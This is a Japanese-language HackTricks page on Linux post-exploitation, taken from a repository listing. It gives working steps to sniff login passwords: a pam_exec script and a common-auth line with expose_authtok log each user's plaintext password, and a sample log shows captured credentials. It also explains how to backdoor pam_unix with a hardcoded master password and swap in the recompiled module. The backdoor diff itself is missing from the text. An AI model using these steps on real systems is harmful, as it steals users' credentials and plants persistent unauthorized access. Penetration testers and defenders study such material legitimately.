hacktricks/linux-hardening/linux-post-exploitation
2023-07-07 23:42:27 +00:00
..
pam-pluggable-authentication-modules.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated to Japanese 2023-07-07 23:42:27 +00:00

Linuxのポストエクスプロイテーション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PAMを使用してログオンパスワードをスニッフィングする

PAMモジュールを設定して、ユーザーがログインに使用するパスワードを記録します。PAMが何かわからない場合は、次を確認してください

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

まず、新しい認証が行われるたびに呼び出されるbashスクリプトを作成します。

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log

変数はPAM固有であり、pam_exec.soモジュールを介して利用できるようになります。

以下は変数の意味です:

  • $PAM_USER: 入力されたユーザー名です。
  • $PAM_RHOST: リモートホスト通常はIPアドレス
  • $(cat -): これはstdinを読み取り、スクリプトが取得するパスワードが含まれます
  • 結果は/var/log/toomanysecrets.logにログファイルとしてパイプされます

ファイルをすべてのユーザーが読めないようにするには、事前に作成してchmodを実行してください。例:

sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh

次に、PAMの設定ファイルを更新する必要があります。pam_execモジュールを使用してスクリプトを呼び出します。

/etc/pam.d/にはさまざまな設定ファイルがありますが、common-authを選択します。

sudo nano /etc/pam.d/common-auth

ファイルの一番下に、次の認証モジュールを追加してください:

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

オプションの意味は以下の通りです:

  • optional: エラーがあっても認証は失敗しない(必須のステップではない)
  • pam_exec.so: 任意のスクリプトを呼び出すことができる、Living off the land PAMモジュール
  • expose_authtok: stdinを介してパスワードを読み取るためのトリック
  • quiet: ユーザーにエラーを表示しない(何かがうまくいかない場合)
  • 最後の引数は以前作成したシェルスクリプトです

最後に、ファイルを実行可能にします:

sudo chmod 700 /usr/local/bin/toomanysecrets.sh

これで、別のマシンからsshで接続するか、ローカルでログインしてみましょう。

そしてログファイルを確認してください:

$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149

PAMのバックドア設定

PAMのソースコードに移動しましょうディストリビューションによって異なりますが、自分のバージョンと同じものを選択してください。pam_unix_auth.cファイルの170/180行付近を見てみましょう。

vi modules/pam_unix/pam_unix_auth.c

これを以下のように変更します:

これにより、パスワード "0xMitsurugi" を使用するユーザーはログインできるようになります。

pam_unix_auth.cを再コンパイルし、pam_unix.soファイルを置き換えます。

make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/

{% hint style="info" %} このプロセスは、https://github.com/zephrax/linux-pam-backdoorを使用して自動化することができます。 {% endhint %}

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥